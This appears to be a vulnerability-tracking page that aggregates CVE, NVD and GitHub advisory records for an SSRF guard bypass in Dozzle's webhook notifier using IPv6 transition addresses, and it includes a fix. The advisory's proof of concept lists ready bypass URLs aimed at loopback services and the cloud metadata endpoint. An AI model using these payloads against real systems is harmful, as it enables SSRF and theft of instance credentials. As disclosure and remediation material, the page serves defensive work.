Public mode

No access to your tenant or devices. Every item links to its source. What this means

Some sources, documents or advisories need attention: 271/271 feeds/APIs · 464/464 docs · 8/9 advisories · checked 23:08 UTC Customize Public modeDiscuss ChangeIntel on Discord

Dozzle: SSRF guard bypass via IPv6 transition addresses (6to4/NAT64/Teredo) in webhook notification dispatcher

Collected exploitation and prediction evidence

Risk source coverage

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

cve-program · CVE-2026-73087

Published

Dozzle is a realtime log viewer for docker containers. From 10.5.2 until 10.6.15, the isBlockedIP SSRF guard in internal/notification/dispatcher/webhook.go, used by safeDialContext for webhook notification URLs, does not inspect IPv4 addresses embedded in 6to4, NAT64, Teredo, or IPv4-compatible IPv6 addresses, allowing an authenticated user to reach loopback or link-local targets that the guard intends to block. This issue is fixed in version 10.6.15.

Source published
11 Aug 2026 16:52:13 UTC
Source modified
11 Aug 2026 19:57:12 UTC
Observed here
23 Oct 2026 15:48:27 UTC
Source terms
CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · 2.3 CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

nvd · CVE-2026-73087

Published

Dozzle is a realtime log viewer for docker containers. From 10.5.2 until 10.6.15, the isBlockedIP SSRF guard in internal/notification/dispatcher/webhook.go, used by safeDialContext for webhook notification URLs, does not inspect IPv4 addresses embedded in 6to4, NAT64, Teredo, or IPv4-compatible IPv6 addresses, allowing an authenticated user to reach loopback or link-local targets that the guard intends to block. This issue is fixed in version 10.6.15.

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Deferred

Weakness classifications: CWE-918

Original publisher date fields

published: 2026-08-11T17:19:16.830

lastModified: 2026-10-24T15:10:00.190

Source published
11 Aug 2026 17:19:16 UTC
Source modified
24 Oct 2026 15:10:00 UTC
Observed here
25 Oct 2026 15:19:03 UTC
Source terms
NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 2.3 CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

osv · GHSA-p2w3-6x73-2f6x

Published

## Summary The `isBlockedIP` SSRF guard in Dozzle's webhook notification dispatcher blocks loopback, link-local, multicast, and unspecified addresses but does not recognize IPv6 transition mechanism addresses (RFC 3056 6to4, RFC 6052 NAT64, RFC 4380 Teredo) that embed arbitrary IPv4 addresses. An authenticated user can bypass the guard to reach loopback services, cloud metadata endpoints (169.254.169.254), and other blocked ranges via webhook notification URLs. ## Affected component / versions - Package: `github.com/amir20/dozzle` - Affected versions: all versions with SSRF guard (current HEAD [`b9df313`](https://github.com/amir20/dozzle/commit/b9df31356fc024e6768a1aac605844dc041d95ee)) - Vulnerable code: `internal/notification/dispatcher/webhook.go` ## Details ### Root cause (CWE-918) [`internal/notification/dispatcher/webhook.go:32-51`](https://github.com/amir20/dozzle/blob/b9df31356fc024e6768a1aac605844dc041d95ee/internal/notification/dispatcher/webhook.go#L32-L51): ```go func isBlockedIP(ip net.IP) bool { if ip.IsLoopback() || ip.IsLinkLocalUnicast() || ip.IsLinkLocalMulticast() || ip.IsMulticast() || ip.IsInterfaceLocalMulticast() || ip.IsUnspecified() { return true } if v4 := ip.To4(); v4 != nil && zeroNetV4.Contains(v4) { return true } if ip.Equal(net.IPv4bcast) { return true } return false } ``` The guard intentionally allows RFC 1918 private ranges for self-hosted webhook targets, but blocks loopback (127.0.0.0/8, ::1), link-local (169.254.0.0/16, fe80::/10), and other non-routable addresses. IPv6 transition mechanism addresses bypass all these checks: | Mechanism | Prefix | Embeds | `isBlockedIP` result | |-----------|--------|--------|---------------------| | 6to4 | `2002::/16` | any IPv4 in bits 16-47 | `false` | | NAT64 WKP | `64:ff9b::/96` | any IPv4 in bits 96-127 | `false` | | Teredo | `2001:0000::/32` | any IPv4 in bits 96-127 | `false` | ### Reachability / trust boundary The `safeDialContext` function (line 53) resolves hostnames and checks each IP against `isBlockedIP` before establishing a TCP connection. This is used as the `DialContext` for the webhook HTTP client (line 115). Webhook URLs are configured by authenticated Dozzle users through the notification settings UI. The guard exists to prevent authenticated users from using webhook delivery as a proxy to reach the host machine's loopback services or cloud metadata endpoint. ### Attack chain 1. Authenticated user creates a webhook notification with URL `http://[2002:7f00:0001::1]:8080/` (6to4 embedding 127.0.0.1) 2. When a notification triggers, Dozzle's webhook dispatcher calls `safeDialContext` 3. The IPv6 address `2002:7f00:0001::1` is checked against `isBlockedIP` -- all predicates return false 4. Connection proceeds to the 6to4 relay which routes to 127.0.0.1 5. The webhook POST reaches the host's loopback services ## Impact An authenticated user can bypass the SSRF guard to: - Reach cloud metadata service at 169.254.169.254 via `2002:a9fe:a9fe::1` (6to4) to steal instance credentials - Reach localhost services via `64:ff9b::7f00:1` (NAT64) or `2002:7f00:0001::1` (6to4) - The webhook response body is logged at debug level but not returned to the user, making this a semi-blind SSRF (status code is returned) Note: RFC 1918 private ranges are intentionally allowed by the guard. This bypass specifically targets the blocked ranges (loopback and link-local/metadata) that the guard explicitly intends to prevent. ## Proof of concept Bypass vectors: ``` # 6to4 embedding 127.0.0.1 (bypasses IsLoopback) http://[2002:7f00:0001::1]:8080/ # NAT64 embedding 169.254.169.254 (bypasses IsLinkLocalUnicast) http://[64:ff9b::a9fe:a9fe]/latest/meta-data/ # 6to4 embedding 169.254.169.254 (bypasses IsLinkLocalUnicast) http://[2002:a9fe:a9fe::1]/latest/meta-data/ # Teredo embedding 127.0.0.1 http://[2001:0000:dead:beef:0000:0000:7f00:0001]:8080/ ``` Verification that `isBlockedIP` returns false for all vectors: ```go package main import ( "fmt" "net" ) func isBlockedIP(ip net.IP) bool { return ip.IsLoopback() || ip.IsLinkLocalUnicast() || ip.IsLinkLocalMulticast() || ip.IsMulticast() || ip.IsInterfaceLocalMulticast() || ip.IsUnspecified() } func main() { for _, v := range []string{ "2002:7f00:0001::1", // 6to4 -> 127.0.0.1 "64:ff9b::a9fe:a9fe", // NAT64 -> 169.254.169.254 "2002:a9fe:a9fe::1", // 6to4 -> 169.254.169.254 } { ip := net.ParseIP(v) fmt.Printf("%-35s blocked=%v\n", v, isBlockedIP(ip)) } } // Output: all false ``` ## Remediation Add IPv6 transition mechanism prefix checks to `isBlockedIP`: ```go func isBlockedIP(ip net.IP) bool { // ... existing checks ... // IPv6 transition mechanisms embedding arbitrary IPv4 if len(ip) == net.IPv6len { if ip[0] == 0x20 && ip[1] == 0x02 { return true } // 6to4 if ip[0] == 0x00 && ip[1] == 0x64 && ip[2] == 0xff && ip[3] == 0x9b { return true } // NAT64 if ip[0] == 0x20 && ip[1] == 0x01 && ip[2] == 0x00 && ip[3] == 0x00 { return true } // Teredo } return false } ``` ## Credit Reported by tonghuaroot ([email protected]).

Source published
8 Sep 2026 18:11:56 UTC
Source modified
10 Sep 2026 15:25:38 UTC
Observed here
24 Oct 2026 13:19:41 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

Publisher rating · LOW

osv · GO-2026-6440

Published

Dozzle: SSRF guard bypass via IPv6 transition addresses (6to4/NAT64/Teredo) in webhook notification dispatcher in github.com/amir20/dozzle

Source published
10 Sep 2026 14:48:42 UTC
Source modified
10 Sep 2026 15:15:15 UTC
Observed here
24 Oct 2026 13:19:41 UTC
Source terms
OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 25 Oct 23:08 UTC · 271 of 271 readable · 269 fully read · documentation 464/464 current